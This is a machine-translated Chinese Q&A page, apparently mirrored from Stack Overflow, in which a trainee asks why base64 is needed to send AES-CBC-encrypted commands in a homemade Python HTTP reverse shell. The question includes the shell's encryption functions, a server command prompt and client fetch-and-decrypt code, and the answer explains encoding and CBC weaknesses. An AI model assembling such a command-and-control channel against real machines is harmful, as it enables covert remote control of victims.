繁体   English   中英

python中的Http反向shell:AES和Base64

[英]Http reverse shell in python: AES and Base64

对于培训,我正在使用 Python 编写 HTTP 反向 shell 作为练习。 培训材料包括一个简单的 TCP 反向 shell 示例,它支持 AES 加密,我想将其应用于我的 Http shell。 最后我设法让它工作,但作为一个新手,在加密和编码方面,如果有人能解释发生了什么,我将不胜感激。

服务器和客户端都使用相同的加密/解密函数:

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

# dummy vector and key
AES_IV = b"E" * 16
AES_KEY = b"E" * 32

def encrypt(message):
   encryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   padded_message = Padding.pad(message, 16)
   encrypted_message = encryptor.encrypt(padded_message)
   return encrypted_message
         
def decrypt(cipher):
   decryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   decrypted_padded_message = decryptor.decrypt(cipher)
   decrypted_message = Padding.unpad(decrypted_padded_message, 16)
   return decrypted_message

服务器端等待输入命令,然后通过 GET 请求加密后发送给客户端,如下所示:

#snippet of the http server class implemented using  BaseHTTPRequestHandler
command = input("Shell> ")
# (code sending http headers omitted for simplicity)
encrypted_command = self.encrypt(command.encode())  
self.wfile.write(encrypted_command)

在客户端,使用请求模块检索来自服务器的消息:

req = requests.get(server, headers=HEADERS)
command = req.text  # command sent by the server
command = decrypt(command).decode()

上面的代码不起作用,因为服务器通过 wfile.write() 发送的加密有效负载在传输过程中被修改。 例如,日志显示服务器发送的“dir”shell命令的加密版本是:

b'\x01J\x8f\xe4\xd9qF\x1f\x8b\xea\x07Q\xe3\xbde{'

而客户收到:

b'\x01J\xc2\x8f\xc3\xa4\xc3\x99qF\x1f\xc2\x8b\xc3\xaa\x07Q\xc3\xa3\xc2\xbde{'

经过一番研究,我通过添加base64编码解决了这个问题,如下所示:

encrypted_command = self.encrypt(command.encode())
encrypted_command = base64.b64encode(encrypted_command)
self.wfile.write(encrypted_command)

在客户端使用对称 base64 解码。

唯一的小问题是命令的输出(例如“dir”)会以未翻译的回车返回到服务器,但这很容易解决,见下文:

驱动器 D 中的卷没有标签。\r\n 卷序列号: 1A09-94DC\r\n\r\n D 目录:\MyDir\Python\Coding\r\n\r\n20/05/2022 20 :15 等

对我来说主要的愚蠢问题是:为什么需要 base64 编码才能通过 http 正确传输加密(即二进制)有效负载?

非常感谢 S。

HTTP 本身可以很好地处理二进制有效负载。

但是,HTTP GET 只能用于传递文本; 相反,它使用 URL 来发送数据。 URL 中的值有特定的规则,它排除了字符/编码,例如控制字符。 实际上,要进行无差错通信,您应该使用base64url 编码,这是一种使用破折号和下划线而不是加号、斜杠和等号的特定方言。

如果您通过 GET 请求请求网页,则毕竟您并没有真正传输大量数据。 为此,您将使用 HTTP POST ,这就是我建议的而不是 base 64。


附带说明:CBC 模式不提供经过身份验证的加密,这意味着任何对手都可以更改密文,从以前的密文中切换出块等。更糟糕的是,如果您有一个活动服务器模型,您也容易受到填充 oracle和其他明文预言机攻击。 这意味着在最坏的情况下,它也不提供任何机密性,基本上使加密无用。

传输安全性很难做到正确,这就是为什么大多数人只是被 TLS 吸引或哄骗。 当然,如果你只是在学习:继续 :)

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM